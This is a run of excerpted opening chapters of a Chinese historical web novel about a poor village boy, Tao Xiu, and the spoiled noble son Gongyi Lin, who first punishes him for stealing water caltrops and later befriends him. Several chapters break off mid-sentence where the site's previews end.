《他是小军户》 1. 你偷他家干嘛 《他是小军户》全本免费阅读 天和五年的秋天,汝丘县望族公仪家的大仆从外面拎回来一个孩子,声称这孩子在城外的池塘里偷菱角被抓了个正着。 大仆本打算私自惩罚他完事,敷衍地打了几个巴掌就放他走了,待那孩子惊慌无措地走出几步,大仆却又突然改变主意,“站住!” 他听说府里张狂妄为的公仪小公子闲得腚上长针坐不住,到处惹事生非,这几日不知从哪来的兴致突然学人审案,常在一众大小仆从的簇拥下上街游荡,企图用他临时生出的正义制止发生在光天化日下的小概率恶劣事件,殊不知他的高调出行才是众人眼中最横行霸道的行为。 这个偷菱角的孩子刚好可以给精力充沛的小公子逗个乐、过把断案的瘾。 孩子眼中透出的恐惧显得其清瘦的脸庞十分可怜,像只站在秋风里瑟瑟发抖的猫。大仆把他双手结结实实捆在胸前,往破旧的牛车上一丢,晃晃悠悠回城。 秋日天气晴朗,云淡风轻,桂树的香气一阵一阵从鼻子蹭过,他们就像一对进城赶集的父子。牛车颠簸摇晃,闲得无聊的大仆就问那孩子:“知道我带你去哪不?” “我还能不能回玉河村?”声音清脆颤抖,藏不住他的恐惧。 大仆回头望了他一眼,“别怪我狠心,那片一眼看不到边的池塘明明归许多户人家所有,你偏偏偷到公仪家来了,你偷他家干嘛?” “你要是放了我,我能给你干半年活。”孩子战战兢兢答非所问,死里讨生。 大仆嗤笑一声:“不必,我还替人家做事咧。” 这孩子不吵不闹,也没想着跳车逃跑,他忍不住又问:“几岁了,叫什么?玉河村谁家的?” “十一,陶修。” “不用太害怕,二公子虽顽劣,为人还是很善良的,春天那会他跟公仪夫人上香回来,在路边拾到一只瘦了吧唧的狸猫,至今还每日喂鱼喂肉咧。”提起傻子一样养尊处优的二公子的行为,大仆把自己都逗笑了,有人吃不上饭,有人给猫喂肉,听说二公子为此善事还时常跪在自家佛堂向佛祖“邀功”。 这是陶修为数不多的几次进城,当他坐着牛车进入高大气派的公仪府时,几乎忘记自己是因偷窃才来的这里。 陶修被那名大仆丢在公仪府僻静的后院,惊恐地站在浓密粗壮的桂树下东张西望,他咬紧嘴唇才使身体抖的没那么厉害。 许久都不见人从后院路过,树梢偶有几声鸟鸣,风一阵桂香一阵,陶修在等待中逐渐放松紧绷的身体,不知听了一路的二公子究竟是什么人,又会如何惩罚自己。 午后的日头晒得人昏昏欲睡,陶修正要坐地上歇会,忽听后园小门传来声音:“哪呢?他在哪?” 话音里藏不住的兴奋和急切,又一声皮鞭的破空之声,力道很弱,没有挥鞭时预想的响彻云霄之感,应该是鞭子小或是使用之人是个孩子。 公仪家作为吴郡汝丘县的高门望族,公仪曲虽因身体抱恙已于多年前从京师建康回乡养病,其祖上百年累积的家业并未因他卸任中书侍郎一职而有败落之势,何况其家族还有一位举足轻重的族长式人物在朝堂位居高位,公仪家的名望在汝丘县无人不知无人不晓。 得罪此显赫的人家,陶修甚至不知自己是否能活,他在心里备好求饶的话,目光还在几个来人身上辨认哪位才是公仪公子时,头部突然挨了一脚,失去平衡后重重摔倒在地。 “就是你?偷东西竟敢偷到我家,你是哪里的蟊贼,”虽是童音,气势还算威武,不过这孩子接着又嚷道:“你不知道我最爱吃菱角吗?” 跟在他身后的三名随从听见后一句话都悄悄咬唇憋笑,这小公子说起话来总是显得他又坏又蠢。 陶修头晕目眩抗下这一脚,深喘一口气,用绑起的双手撑坐起来,抬眼望着拿鞭的小公子,幸好刚才想好的求饶之语没给踢飞,跪下双膝恳求道:“你是小公子?我偷了你的菱角不对,我可以偿还,仲秋节前我来你家池塘做事,直到把菱角都收上来,我做事利索,一定能顶一个大人。” 陶修住在玉河村,也就是所谓的乡下,身边能见的尽是些灰头土脸的孩子,咋一看公仪家这位衣着光鲜长相清秀的小公子,倒不觉得他是一路上听来的模样,把他当贼拎到这里受罚的大仆一路上把这个小公子公仪林描述成被家族宠爱成既坏又善良的孩子,说他时而大发善心,学大人模样对从北方逃难来的流民施药施粥,时而作恶调皮,硬是把几个乞丐喂到撑哭了方才罢休。 陶修希望从这张白净秀气的脸上看见宽赦的表情,但看他从外归来甚至来不及脱下的红色披风就知道这希望渺茫。 其实公仪林听不懂跪在地上跟猫一样乞求饶恕的孩子话中的意思,听得他有点发愣,一时理不清两者之间能否相抵消,仰头望向身旁一个叫司子的贴身大仆:“他说的是什么意思?” “他的意思是要替二公子省钱,不要追究他偷窃一事。”司子讪讪地发笑。 公仪林抖开手中蜷了几圈的皮鞭,啪啪甩两声,对着陶修又是一脚,踩着他的胸口傲气十足笑话道:“轮得到你给我省钱?若我答应了,今日的事岂不是就要作罢,那我玩什么,我还没审你呢?” 陶修脸色苍白,猜测自己可能难逃一死,索性把嘴巴抿成一条缝,不肯屈服的眼睛也紧紧闭起。 公仪林把踩在他胸口的脚放下,让身旁仆从扶他起来,伸出右手掐住陶修的下巴强令他抬头:“听说审案之前先要酷刑,犯人怕了才会说实话。” 松开手后,公仪林紧捏的五指下是陶修脸上唯一的血色。 公仪林指使司子把陶修抱到园中一张废弃石桌上,用黑泥沿着他双足边沿画了一圈印记,静等他的脚超出泥圈的范围。打他自然是任何理由都能找到,公仪林偏僻要先刁难一下小犯人,只要这两只脚敢踏出来,韧劲十足的鞭子自然就打的更值当,没有 2. 仇人变成恩人 《他是小军户》全本免费阅读 按约定好的日期,陶修八月初五开始给公仪家的池塘挖掘菱角和采摘脆嫩的莲蓬。 荷叶摇曳生姿,菱角清香弄鼻,莲塘一眼望不到边,公仪家的女眷偶尔会来此泛舟消暑,对富贵大族而言,这片莲塘的作用仅此而已。 若不是因偷盗来此受罚,陶修可能也会有“采莲南塘秋,莲花过人头”的兴致,可惜他是在监视下劳作。莲塘有许多采莲人,也有随大人来此嬉戏的孩童,干活倒不会孤单害怕。陶修脱掉衣裳跳进公仪家的小舟,刚划开几步远,忽听见岸上有人高喊:“蟊贼。” 陶修用手指紧抠小舟的边沿,咬着牙不肯回头。 “你再不应声,我就抽你。” 他从小舟上站起屈身行礼,小声应道:“小公子。” “我是你的监工,今日乃至以后无数日,我都会来此盯着你做事。”公仪林颐指气使,有破案后的神清气爽,“这桩偷盗案就此结案,你现在是在服刑,懂吗?” “懂。” “大声点,我听不到。” 小小年纪耳朵还不好,陶修抠着指头,卑微地提高声音:“我懂。” 公仪林身后有三人替他遮阳、端茶,坐在胡凳上神气活现确实比监工有过之无不及,陶修垂眸恳求道:“我答应的事就一定能做好,希望小公子以后不要叫我蟊贼。” “不要废话,你要干的不利索,冬天我家屋顶的雪是没人扫的,你可小心点。” 玉河村的东边有条清江河,自从陶家阿爹死后,陶修就常在那条河里摸生存的口粮,游水的本领够他保命之余也给他艰难的生存处境提供偌大的帮助。他为早日偿还偷五颗菱角的惩罚和拿掉“蟊贼”的坏名声,毫不犹豫跳进八月的凉水中。 岸上的公仪林眼见他一个猛扎下去竟能数二十个一二三后才浮出水面,不禁目瞪口呆,问身边的司子:“你及不及他?我要学这本领。” 司子是十六七岁的少年人,心气高,拍着胸脯答应道:“我比他厉害多了。今年是来不及了,水太凉,等明年盛夏我一定把二公子教的比他还厉害。沈钟公子家附近有条大河,明年就去那学怎么样?” 公仪林听不得他们这些油头滑脑的推脱之词,脱了鞋袜就往水里探,被冰凉的水猛激一下脚心,慌忙缩回来在裤腿上擦掉水迹,小声道:“那就明年吧。” 司子见小公子百无聊赖,寻着话题说:“这蟊贼也是玉河村的,和沈钟公子是一个地儿。” “哦,那他家离此挺远啊?他叫什么名字?” “叫陶修。” 监工公仪林每喝掉一壶茶,陶修的大木盆中就能装满一盆菱角和莲蓬,至晚,八盆菱角像八个坟茔似的堆在岸边,公仪林也因喝了太多茶水在池塘和三里外的茅房来回穿梭,司子建议他对着池塘撒尿,他红着耳朵宁愿给尿憋死都不愿做出有辱身份的粗俗事。 众人不知该拿这些菱角怎么办,往年有人来收购贩卖,公仪家就低价给卖了,可能今年各处的菱角长势丰茂,迟迟没有来收购的小贩。 公仪林指着八堆“小坟茔”对陶修说:“这些你拿走。” 陶修冻得浑身发抖,嘴唇乌紫,手指的掌纹泡的一个都见不着,他哆嗦双手穿上单衣,牙齿上下打颤:“小公子最喜欢吃菱角,我不敢拿。” 那日原是要加重陶修偷窃的罪行才添上去的一句话,这会听起来又傻又呆,公仪林一脚踢散小坟包问:“你是嫌弃我的东西?” 见阴晴不定的小公子又要发怒,陶修慌忙蹲下捧了一捧菱角在手:“我人小拿不动多的,这些就够了。” 第二日采菱角如旧,只不过公仪林喝茶的次数变少了,陶修采菱角的速度也慢下来。直到一个采莲人大喊一声:“这孩子要病死了。” 公仪林才知道自己险些闯下大祸。 连续在水中冻了两天的陶修神志不清躺在路旁的野草丛里,紧闭双目,牙齿无法自控的打颤,发出尖锐的摩擦。 司子为摆脱小公子与此事的干系,连忙命另外两人把快死的陶修丢到牛车上拉离公仪林的视线。公仪林揉着衣角紧盯牛车消失的方向,问司子:“他是怎么了?” “他可能累了,给他回去歇着吧,明日我们重新找人给公子做事。” 负责“丢尸”的两人回来后跟司子说把陶修丢在玉河村村头。这件采菱角和陶修昏迷被丢弃的事,所有人都装作不记得,后来也没听说那孩子究竟死了没有。 粗心且年纪又小的公仪林更是早早就把那件不值得他记住的小事忘诸脑后,直到天和六年的盛夏,他因游水一事才再次想起。 这一年盛夏尤其酷热,热到似在提醒公仪林必须记住这一年发生的事。正当他难耐蝉鸣聒耳和天气的燥热时,突然收到表兄沈钟邀他去玉河村避暑的信,得到公仪夫人的允许,公仪林比马厩牵出去喂草的马还狂野,不等母亲嘱咐完就骑马绝尘而去。 玉河村东头有条南北向的清江河,夏季水位高涨,河水平静缓和向南流淌,河上有座结实细长的石桥,偶尔成群的鸭子会从桥洞下淌过。 这群悠闲的鸭子留下的鸭屎慢慢沉淀在水底,公仪林才不紧不慢脱掉身上的单衣准备下水。司子接过他抛下的衣裳叠好,整齐码放在一块石头上,面对真正的清江河,司子不再是去年吹嘘自己一个猛能扎下几丈远的善水者了。 “快跳下来。”在水里游的像只□□的少年叫沈钟,是公仪林姑母的儿子。不知沈钟在信里用了什么狡辩之词,居然说动公仪夫人同意儿子到乡下避暑。可能是他跟公仪夫人打了包票,这个夏日过后准让表弟学会水中求生的本领。 而诱惑公仪林来此避暑的原因绝对是这条清凉平缓的清江河,还有哪件事能比盛夏季节跳进清江河洗澡更有意思。 后来他想,有,一定有,确实是有的。 公仪林学沈钟跳水的动作,站在石桥上“咚”一声就跳下去,炸起一大片水花。沈钟不慌不忙朝在水中扑棱挣扎的公仪林游去,岸上看急眼的司子催促道:“沈公子,你倒是游的快些啊,别让小公子呛水。” 来河边之前,司子贪嘴偷喝放坏的杨梅汤正闹肚子,交叉两腿忍了半天,把张脸憋成猪肝色,朝沈钟丢下一句话就跑了:“沈公子,我肚子疼的厉害去那边出个恭,你可把二公子看好了。” 沈钟用十四岁少年刚粗壮起来的两只胳膊一把捞起公仪林,借着水的浮力从腋下掐起他,笑道:“槐序,你快睁眼看看。” 公仪林吐出嘴里的水深吸一口气才睁开眼睛,感受流水托起身体的漂浮感,一漾一漾的水波漫过他的胸膛,有些闷闷的压迫和紧张。小孩子胆子大,学得也快,从紧抓沈钟的手臂寸步不离到独自游开玩自己的,公仪林并未花费太长时间,至少他自认为是学会了。 司子出个恭就像被深草埋没一样,很久不见回来。 这段河流本来有许多玩水的乡下孩子,怕出意外都被沈钟撵的远远的。没有司子监督,公仪林和沈钟这对蜜里长大的少年无法预测大河中的危险。自以为是的公仪林扎了第一个猛就想来第二个,他捏紧鼻子一次又一次从石桥 3. 给你绿豆汤喝 《他是小军户》全本免费阅读 陶修把抖了半干的衣裳往身上一披,冷冷回敬一句:“不必言谢。这条河段还算干净,没有淹死过人,不想被你破了例。” 公仪林并未认出他是去年偷菱角的小贼,也不恼他这句话,生硬地笑两下:“还是要多谢你。不如你留下教我玩水如何,我一定有重谢。” “没空。谢礼你已经给了,去年多谢小公子赏我的几盆菱角。” 公仪林从被淹的朦胧状态中清晰想起去年差点冻死在莲塘的孩子,想起自己当时对他耀武扬威的模样,当即愣在原处。 不远处的田沟里有两只吃草的羊,一大一小,陶修撵着羊走的时候听见公仪林在身后喊道:“当时我以为你死了,”顿了一下,声音放弱一点,“司子说你病死了,我以为是真的。明日我还来这里,我向你赔罪。” 赶羊的少年走后,公仪林才细问他的身世:“你说他是陶家捡来的孩子?这是什么意思?” 在岸上又被晒出一身的汗沈钟再次跳下水,扎了一个长长的猛钻上来才回答表弟:“就是被人卖过来的意思。六七年前来的玉河村,刚买来的时候有爷有娘,后来都让他克死了,如今就跟着他阿翁生活,家里还有个小妹,跟你差不多大。你说这陶家,本来买他回来是为了壮门户充人力,门户不见大,人倒越来越凋零了,家里穷的就剩几片破瓦。那陶修整日看见人连个话都不说。旧年岁末可能实在活不下去了,来我家帮忙杀猪、劈柴,赚几个铜板回去过了年。我母亲见他可怜,切了二斤肉,还给了些下水,想必他那个年过得有滋有味,见着我竟然如此态度,白眼狼。” “他多大了,怎么不是他阿翁出去赚钱,小小身架怎能做力气活?” “哈,陶家买他不就是为此么,你当谁都跟你一样衣食无忧。别看他干瘦,估计还长你几岁。” 回到沈家的公仪林和沈钟都没有提起白日淹水一事,拉肚子几乎不见人影的司子对此更是一无不知。当晚,公仪林做了一个梦,梦见自己骑着一只小羊飞快地跑在田间小道上,穿青布衣裳的陶修拿根树枝在后面焦急地追喊:“还我羊,还我羊。” 他不但没还,还挑衅般的把羊杀了过年。第二日醒来时觉得梦境甚是荒唐。 午后的日头毒辣,公仪林和沈钟坐在凉亭喝了碗祛暑的绿豆汤,绿豆汤刚从井水中拎出来,盛汤的簋上还冒着细密的水珠。 坐在阴凉处一动不动尚且流一身汗,公仪林再次确认日头的高度,问:“可以去了吗?” “再等半个时辰,这个时段去玩水不但不解暑,还能被水烫熟,不要急。” 公仪林小心翼翼把簋里的绿豆汤端给司子,叮嘱道:“还放到井里凉着去,等我们出发了带上。” 沈钟见他瞎讲究,看来昨日那顿河水喝的少了,“现在就给喝了,还带去河边作甚,河水喝不饱你。” 这时从院门走进来一个下人,把一封家书递给公仪林,回复道:“夫人让小公子得空就写封信着我带回去报个平安。” 公仪林拿起准备好的笔墨,在素雅的信纸大笔一挥写下四个字:阿母,儿安。 写完不待字迹干了就塞到递信来的下人手中:“快些拿回去,到了母亲手中墨迹可能还不干,足见我想念她的心。” 沈钟拿手指戳着他,大笑:“你可真是会花言巧语的坏东西,哄得舅母把你当心肝。走,我们出发。” 玉河村在汝丘县城外十几里的位置,村子不大,一百来户人家,十几年前在与邻国的战争中村子里损失一半的青壮男丁,因而公仪林在村子里见到的年轻人居多,都和沈钟差不多年纪,他掀开马车的挡帘扫视外面的景色,一来透透风,二来寻找昨日赶羊的少年。 怀中的绿豆汤在簋里晃荡一路,把他衣摆弄湿一大片。 沈钟见之不解,问:“干嘛不喝到肚子里去?” 公仪林放下挡帘转过头回答道:“姑母一定在里面加了蜜糖,我喝着甘甜清凉,想给陶家的孙子也尝尝。” “你就确定能见到他?” “等等看,等不来我就喝掉。” 马车离清江河的石桥还有段距离,公仪林探出车外似乌龟一样的脖子果然起作用,一眼望见坐在昨日换衣裳的青石上的陶修,他向东而坐,手里拿着赶羊的小棍。 “快赶,再快点。”公仪林不停催促赶车的司子。 司子道:“小公子,道路颠簸,这是最快了,你怀里还抱着汤。” 沈钟在闷热的马车里热成靠舌头散热的狗,散漫地打趣表弟:“瞧你心急火燎的模样,又不是要去见谁家小娘子,慌什么。” 司子把公仪林抱下马车后就急着把马赶去河东边的野地里喂料,昨日他们玩水的地方又有七八个浑身精光的少年在水里嬉闹。 公仪林捧着簋小心翼翼挪步到陶修跟前,摸摸里面装汤的碗,惭愧道:“从井里打拎上来时还是凉的,一路上被我焐热了。” 陶修抬眼望了他,没理解他的意思,起身欲走,忽听他又说了一句:“这个是绿豆汤,我喝着味道清甜,就给你留了点。” 陶修先是冷淡地盯着他,顿了一瞬,清澈的双眼慢慢泛起不易发现的笑意,眼眸像两滴清晨被朝阳照射的露珠,他伸手接过簋中洒了一半的绿豆汤,捧在手心久久不敢动弹,怕是一触即破的梦境,他望一眼公仪林又低头看汤,再转过头寻找田沟里两只小羊,还是不能确定是否是梦,眼睛有些酸涩,为掩饰窘况,他把半碗汤一饮而尽,说了声多谢。 公仪林老远捧汤来的行为很不聪明,鼻翼两侧生满晶亮的汗珠,目光赤忱看向接受他善意的陶修,喝了这碗汤,这人可能就不会再提去年险些淹死在池塘的事了。 虽是半碗汤,却是陶修难得的感受到来自周围少许的善意。 公仪林撩起衣裳大大方方落坐在陶修身边:“我以为你今日不会来。”当他收敛起飞扬跋扈、又善又恶的姿态时,言语举止十分得体大方,像个翩翩少年。 “我来放羊。” “去年的事,我正式向你赔礼,司子说你死了,我为此神伤过几日。”公仪林起身立在他面前,诚挚的躬腰揖礼道歉。 陶修心道:喝了你的汤,我还如何恨你。 4. 哥哥的锁命镯 《他是小军户》全本免费阅读 公仪林尚且年幼的经历中,对贫穷困窘的认知来自于他人之口或是书中所言,并未亲眼见过,比如衣不遮体,究竟何种程度才算不遮体,是一件不穿还是衣服残破不堪,再比如家徒四壁,真的是屋中无一物? 马车停在陶家的门前,他抱着蛐蛐从车上跳下来,看见茅草屋那一刻突然就直观的明白何谓贫穷,“衣不遮体、家徒四壁”有了具象,实实在在搬到他眼前。 三间茅草屋是泥草混合堆砌的墙体,最坚硬的部分大概就是进门处的小石阶。茅屋周围被一圈缠满藤蔓的竹篱围着,沿着篱笆种了一圈花草,绿意盎然,不至于院子显得过于凋敝寒酸。 院中最显眼的是那棵长势茂盛的绒花树,粉色待开的花已散发清幽的香气,绒花树挡出大片阴凉,树下有两个孩子正伏在破木桌上雕刻木头。 “陶修。” 陶修抬头寻声看向院门,一向平静的眼中倏地露出惊诧,匆忙从凳子上站起来,大片木屑从他腿上落下。 大族公仪家的二公子突然光临此处,令陶修措手不及。 公仪林递上装蛐蛐的罐子,拎起行礼的陶修:“不要多礼,快看,我找你来斗蛐蛐玩。”他打开盖子让陶修看一眼“两员大将”。 “我和小妹也常玩。” 沈钟借口与陶修不熟坐在车中不肯下来,公仪林也不勉强他。 桌上的一堆木屑中摆了三个木头人像,公仪林伸手就要拿,陶修忙阻止,脱口而出:“别碰,弄脏了我还得再削一层。”此话刚出口就后悔了,小公子锦衣华服干净漂亮,怎能质疑他的手会不干净。 公仪林缩回手,问:“雕的是何物?作甚么用?” 陶修特意挑了最干净的人像递过去,是个小巧的佛头。 这些年来,饱受战乱之苦的百姓为寻精神慰藉,南北大地上多座寺院拔地而起,把无穷的苦难倾诉在一尊尊佛像面前。建筑寺庙时需要大量小型的佛像装饰在檐角或宝塔上,能工巧匠也有偷懒的时候,诸如陶修正在雕刻的佛头就是他们不愿亲自动手,出低价让他代劳。陶修为了生存什么活都能接下来,小小年纪真是挖空心思想在这世上生存下来。 天真的小公子凑过来问:“他们会付你工钱,是不是?” 陶修轻轻点头回应他,不愿过多讨论此事。这时,桌边的小姑娘端碗晃晃悠悠的水递给公仪林,小声道一句:“喝水。” 公仪林接了水又问:“附近有寺庙?我从没听沈钟提起,在哪个地方?” “离此二十多里地,寺庙挺小,香火不是很旺盛,最近在修葺重整,这些佛头是佛塔檐边所用。” “等你还佛头时带我去,我也去见见。” 陶修朝竹篱外的马车看去一眼,本能的不敢与大族子弟接触,“让他们带你去吧。” “别,司子盯得紧,我走一步他跟一步,说定了,你带我去。” “那行。我还不知你名字。” “公仪林,母亲、哥哥都呼我小名,以后你也叫我槐序。” “槐序!”陶修把他的小名在嘴里轻念几遍,依稀记得自己也有小名,又感念前几日他的那碗绿豆汤,便以诚心相交,“你可以叫我康乐。” “康乐”二字是他多年来从未跟人提起过的秘密,忘记六岁之前几乎所有记忆唯记得小名,还有一个佐证便是一直带在身边的黑玉章,其上“萧康乐印”四字雕刻的十分稚气。 六七年过来,关于那枚玉章的印象早荡然无存。 “这名字叫着亲切,陶康乐。” 葱茏茂盛的绒花树虽投下大片绿荫,然一丝凉风都没有,三个孩子热得满脸通红。难得公仪林老实坐在桌旁看人做事,为不冷落了贵客,陶修雕刻佛头时会跟他提几句雕刻的要诀,挖空心思找点话应付他。 因严苛的家风,哪怕是这烈日灼灼的盛夏公仪林也穿戴的一丝不苟,不时拿袖拭汗,红彤彤一张脸凑近了恩人,心底直犯嘀咕:都是一般大的人,他为何懂这么多? 陶修见他热的不像样,好心建议他回去:“这会我没空陪你斗蛐蛐。”说罢从屋内拿了块干净的布递给他擦汗。 公仪林奇怪地盯着他,迟迟不肯接下他手中的青布,忽来了一句:“你给我擦,难道要我动手?” 陶修皱皱眉头,心道:好,好,谁叫你是公子。 他擦的很不痛快,力气很大。公仪林觉得被擦拭过的地方火辣辣的疼,老有一道银光在眼前飞来绕去,绕得他眼花缭乱,终于一把逮着陶修的手腕问:“哪有男孩带镯子的?”早就看那镯子不顺眼了。 陶修脸色大变,迅速从他手中抽出手腕,“不许碰。” “为什么?我又不抢它。” 这时,一直安安静静的陶舒突然开口说:“是哥哥的锁命镯。” “从没听过,何为锁命镯?” 见得不到陶修的回答,公仪林就从陶舒那套近乎:“陶妹妹,你告诉我。” “阿翁给他戴的。” 陶修一声斥责:“小妹?” 周围静了一瞬,公仪林悻悻地哼一声,“不说就不说嘛。” 三人在树下坐到傍晚,直到马车里实在熬不下去的沈钟伸出极不耐烦的脑袋喊着:“槐序,你要待到几时,还走不走了?” 临走之前公仪林提出要去陶修的房间看看,他要亲眼看一看“家徒四壁”的真面目,回汝丘第一件事就要写信跟兄长吹嘘这趟来玉河村的见闻。 进屋时,走在后面的公仪林将陶修从头到脚都打量一遍。他穿了件旧衣改缝的青布单衣,洗的发白发粗,袖口卷至臂弯,露出两条细长的手臂,这一身穿着虽朴素到超出公仪林的认知,但衣裳下的骨架清瘦细高,眉眼清俊不俗,并没显得他太寒碜碜,总有人靠脸的优势可以在一堆乱七八糟的衣裳中随意挑一件就能穿出合身的感觉。 方才提起进屋观看,公仪林用“厢房”来称呼陶修的住处,这雅称实在用力过度,不过是一间连光线都不够充足的泥屋,墙面和屋顶那斑驳的雨迹已干涸成奇怪的形状,屋内摆设简单,仅一张破旧的木床和床头一个大箱子,小窗前用几块木板搭张简易的桌子。 这间屋子给公仪林的印象是既穷又干净,他抱着蛐蛐罐没敢碰任何东西,半张的嘴无法掩饰震惊和新奇。 窗前的桌上有两本书引起他的注意。在桌面挑了处相对平稳的地方放下装蛐蛐的罐子,顺手拿起两本书,竟是一本兵书和医书,想起那日河中几个少年的话,公仪林转头问他: 5. 又挨一顿毒打 《他是小军户》全本免费阅读 二人出了大庙像来时一样又把骑马研究一遍,直耗至午后才回到玉河村。离别时公仪林跟他约定第二日相见的时辰:“明日午后我来教你识字,再给你带几本书来。” 陶修欣然应允。 第二日清晨,在屋后竹林练剑的陶修瞥见西边小道上匆匆走来两男子,面色冷峻直奔草房而来,陶修心道不好,看来自己在无知无觉中又惹下了麻烦,慌忙扔掉手中的木剑往前院走去。 跟在身后的陶舒轻声喊道:“阿兄,吃饭了。” 陶修没应她,快步迎向院外的男子,手心又潮又痒,他用右手使劲抓挠掌心,背后渗出密密麻麻的细汗。 两男子迅速冲上来,一人一边按住陶修,叫道:“沈家请你去一趟。”不由分说拖着他就走。 陶修挣扎不过,大声质问:“抓我作什么,我又没犯错。” 陶舒见状,紧贴竹篱大哭不止。 哭声惊动屋内的陶彪,捡起地上的粗棍追出来,爬满深壑的脸既黑又红,双目怒睁:“把手放开。”他的声音苍老低沉,但因情绪激动显得颤抖不安。 两男子知道陶老头年轻时的经历,此人心狠手辣、性格执拗,听闻本朝建国之初的几场战役中他就在沙场上吃人,并从数十场人吃人的战争中活了下来,浑身上下什么都没有,只剩一颗不怕死的胆子。但再厉害的胆量也只是过往,二人欺他现在老迈,撞着胆子喝道:“少啰嗦,沈大公子要见他,不会把他如何,晚些时候自然送回来。” 沈家有位和善的沈夫人,绝不允许家中有人命出现,镇定下的陶修反过来安慰陶老头:“阿翁你回去,我没做犯法的事,沈家能拿我如何。” 沈家本就是富庶人家,十几年前又与汝丘县的公仪家联姻,更一跃成为世人口中的望族。玉河村分村南村北,以一条小河为分界线,陶修很少来村南,一见沈家那深埋在浓荫里的深宅大院,无来由就从脚底蔓延出冰冷的寒意。 从阿翁口中得知兵荒马乱的日子刚结束不过才十几年,许多章法律令都未成熟,惩戒犯事的人还以权贵的口头判决为准,他近来一直都安分守己没做过错事,沈家为何突然绑了他,思来想去,问题可能出在汝丘县来的公仪林身上,昨日真不该私自带他外出。 就算沈家以公仪林为借口打死他,恐怕也无人敢为他鸣不平,最多像条野狗扔进乱坟中等着阿翁收尸。一旦心生恐惧就会怯懦,陶修在沈家冰冷的深宅中搜寻唯一熟悉的身影。 沈钟斜靠在六角凉亭中翘腿等候多时,两个汉子把陶修按到他面前时,他几乎是一跃而起,发出一声兴奋的怪腔,趾高气昂问他:“知不知道叫你来是为何事?” 陶修跪在亭外鹅卵石铺就的小径上,垂头低声道:“不该带公仪公子外出。” “原来你知道?我那表弟昨日一回来就病了,说是跟你去了大庙,大庙在荒郊野外,肯定招了邪祟。你一个贱民居然攀附上公仪家的人,你知道公仪家是什么人家吗?我舅父可是官至中书侍郎的公仪曲,你胆子不小,妄想欺骗我单纯的小表弟。” 数年前公仪曲因旧疾复发辞去中书侍郎一职回到祖地汝丘来养病,其名声在汝丘乃至吴郡都赫赫有名,沈钟年少好面子,常把与公仪家的关系拎到人前显势,哪怕是当着陶修这样卑微的贫贱人家子弟也照样停不下吹嘘。 陶修抓住他话中的漏洞急着辩解:“去大庙之前我只知他是沈家的一门平常亲戚,确实不知他是公仪家的人,否则打断我双腿也不敢带他外出,望沈公子能饶恕我的无知。” “饶你?我怎么跟舅父交代,他儿子现在还病着呢,我绑你来肯定要从你身上刮下一层皮。” 沈钟的手掌在陶修后背丈量,在他下跪的膝盖处敲打,算计从哪里下手才划算。 陶修惊恐地感受到沈钟残酷的气息,脊背簌簌发抖,竭力为自己争取免罚的机会:“我要见公仪公子,我昨日带他走的都是行人往来不断的大道,他一定能明白。” “见他有什么用,就是他让我来找你算账。” 陶修失望至极,顿时弯下一直不肯屈服的腰杆,无助地自语道:“他为何几次三番以打人为乐?” 沈钟命站在两侧的下人:“听说他是陶家的顶梁柱,留他双腿,朝着腰背打二十棍,让他记住不是什么人都能去结交。” 他的为所欲为自然是得沈家家主同意,此时陶修只求在棍下能活命。 负责棍刑的男子见陶修还是个孩子,于心不忍,试探性地问:“公子,真打二十棍?这孩子身板弱,怕是抗不住吧。” “打,我都留他双腿了。” 陶修蜷跪在地上做最后挣扎:“我愿服侍公仪公子直到他痊愈,也能给他做牛做马,等小公子不需要我时,我会离他有多远就多远。” 沈钟能听到陶修声音里的恐惧,但非常不满他没露出痛哭流涕的样子,他已调整好观刑的躺姿,戏谑道:“你的劳力还真是一钱不值,闯了祸就到处用体力补偿,你没发现你这张脸其实作用更大,我劝你往后再遇到祸事也别苦苦哀求饶恕了,就往床上一躺,看中你的人自然会饶你,不比你跪上一天有用?” 这句玩笑话惹来下人们的一阵嬉笑。 陶修大概能明白沈钟话中的意思,脸色惨白,缓缓直起腰板,收起求饶的狼狈模样,平静地盯着沈钟:“打吧,我不会求饶。” 公仪林被昨日的热浪侵袭身体,浑身发热沉沉睡了一夜,这会身体有所好转,醒来时随口叫一声表哥,司子守着汤药已等他许久,立即走上前服侍:“沈公子正在院中审问一个孩子,要我去请来吗?” 公仪林随口问:“审问孩子?犯了什么事?” “就是昨日私自带你去大庙又致你发烧的陶修。” 公仪林推翻司子手中的药碗,趿拉着鞋冲出屋子一路狂奔跑到前院,果然见地上躺了个孩子。 这个盛夏的清晨很燥热,东升的太阳通红朦胧,看来又是闷热的一天。挨过二十棍的陶修奄奄一息倒在地上,浑身上下都被汗水浸湿,行刑时紧抠鹅卵石的双手无力地摊开,从他嘴里吞吐出滚热的气息,是痛苦的呻/吟和小声的求饶。 沈钟负手站在凉 6. 儿戏般的情谊 《他是小军户》全本免费阅读 公仪林走上去对那女子行礼道:“姑母,你怎么来了?” 沈夫人个头不高体形丰满,雍容华贵,眼角几条细纹显得面相十分和善,她先看了眼床上的孩子,拉过公仪林的手问:“你表兄跟我说了经过,他是见你病了心急想替你出气,听你嚷着明日要走,这会把自己关在房中难过呢,可面子上过不去叫我来挽留你,还说明日带你去骑马玩。你好不容易来姑母家一趟,不玩够了再回去,是要急着回去看你父亲的脸色?” 公仪林暂时还不想回,对比家中严厉的父亲,留在此处受点气又如何,就借坡下驴答应道:“我不走,我也不舍姑母。” 旋即指着陶修问她:“他救过我一命,没得到一点好处就罢了还挨了二十棍,传出去恐怕我们要被人笑死。姑母派人将他好好送回家中,叫人伺候他能下地为止。还有我想和他交个朋友,姑母您不好阻止吧?” 沈夫人记得这个孩子,小小年纪到处谋生,模样、身世都惹人怜,她坐到床边抚摸陶修汗湿的头发,柔声安慰道:“你是个好孩子,沈钟犯的错我一定好好管教他。但你救了槐序又是怎么回事?” * * * 从盛夏一直到初秋返回汝丘县,公仪林在玉河村待了近三个月。两个少年人结成难分的挚友,一个帮忙识字,另一个则带着富贵公子进山打猎、摸鱼,实实在在让小公子体验一把从未经历过的趣事,陶修对这两件事慎之又慎,按他的话说,逮的都是陶家过冬的食物。 陶修把骑马学了个大半,整个夏天,两个狠心的少年不把马当畜生,当成他们中的一员,不管去哪都带上,跑得马儿一见他们来马厩解绳就烦躁地扬蹄拒绝。他们还在去大庙的路上来回无数趟,验证究竟有没有邪祟附身,要叫沈钟知道他是错的。 